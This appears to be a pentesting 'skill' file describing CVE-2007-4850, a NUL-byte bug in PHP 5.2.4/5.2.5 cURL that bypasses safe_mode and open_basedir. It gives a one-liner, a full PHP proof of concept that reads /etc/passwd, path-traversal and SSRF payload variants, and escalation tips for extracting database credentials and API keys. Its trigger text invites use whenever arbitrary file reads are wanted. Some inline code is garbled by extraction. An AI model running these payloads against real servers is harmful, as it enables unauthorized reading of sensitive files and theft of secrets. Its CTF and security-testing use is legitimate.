Hacktricks-skills php-curl-bypass
How to bypass PHP safe_mode and open_basedir restrictions using cURL on legacy PHP 5.2.4/5.2.5 (CVE-2007-4850). Use this skill whenever you need to read arbitrary files from a PHP server with restricted file access, especially in CTFs or legacy systems. Trigger this when you see PHP 5.2.x with cURL enabled, or when standard file operations are blocked by safe_mode/open_basedir but you suspect cURL might work.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl/SKILL.MDPHP cURL File Read Bypass (CVE-2007-4850)
A technique to read arbitrary local files on PHP 5.2.4 and 5.2.5 by exploiting a NUL-byte handling bug in the cURL extension's safe_mode/open_basedir checks.
When to Use This
- You've identified PHP 5.2.4 or 5.2.5 (check
output)phpinfo()
is enabled (ext/curl
)cURL support => enabled
orsafe_mode
is restricting file accessopen_basedir- Standard file operations (
,file_get_contents
, etc.) are blockedfopen - You need to read sensitive files like
, config files, or source code/etc/passwd
The Vulnerability
CVE-2007-4850: PHP 5.2.4/5.2.5 performed path validation on
file:// URLs in cURL before the NUL byte, but libcurl used the path after the NUL byte. This mismatch allows bypassing safe_mode/open_basedir restrictions.
Quick PoC (One-Liner)
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
This reads the current script file despite restrictions.
Full PoC (Arbitrary File Read)
<?php // Target file to read $target = '/etc/passwd'; // Initialize cURL $ch = curl_init(); // The NUL byte (\x00) bypasses the path check // Use chr(0) or \x00 in double quotes - %00 won't work reliably curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Execute and get response $resp = curl_exec($ch); $err = curl_error($ch); curl_close($ch); if ($resp !== false) { echo $resp; } else { echo "cURL error: $err\n"; } ?>
Advanced Techniques
Path Traversal After NUL
If direct paths are blocked, use relative traversal:
curl_setopt($ch, CURLOPT_URL, 'file://x'.chr(0).'../../../../etc/passwd');
The traversal is resolved by libcurl, not the open_basedir guard.
SSRF-Like Endpoints
If you can't upload PHP code but the server mirrors user-controlled URLs into
curl_exec(), send:
file://prefix%00/etc/passwd
Note: URL-encode the NUL as
%00 in HTTP requests (the server will decode it).
Detection Checklist
Before attempting this bypass, verify:
- PHP Version: Look for
orPHP Version => 5.2.4
in5.2.5phpinfo() - cURL Extension: Check for
cURL support => enabled - Restrictions Active: Confirm
orsafe_mode => On
is setopen_basedir - allow_url_fopen: This bypass works even if
is disabled (cURL handlesallow_url_fopen
internally)file://
Limitations
- Version-specific: Only works on PHP 5.2.4 and 5.2.5
- Fixed in 5.2.6+: Later versions patched the parsing/validation
- File read only: This is a read primitive, not code execution
- Requires cURL: The
extension must be loadedext/curl
Escalation Paths
This is a file read primitive. Combine with other techniques:
- Log poisoning: Write to log files, then include them
- Session file inclusion: Read session files for credentials
- Config file extraction: Get database credentials, API keys
- Source code disclosure: Read application source for other vulnerabilities
Related Historical Bypasses
- CVE-2006-2563: Earlier NUL-byte issue in PHP 4.4.2/5.1.4 cURL wrappers
- PHP bugs #30609/#36223: Early cURL open_basedir issues without canonicalization
References
CTF Tips
- Always check
first to confirm version and extensionsphpinfo() - Try this before giving up on file access in legacy PHP challenges
- If
is disabled, cURL might still workallow_url_fopen - Look for SSRF-like endpoints that accept URLs as input
- Combine with other primitives for full exploitation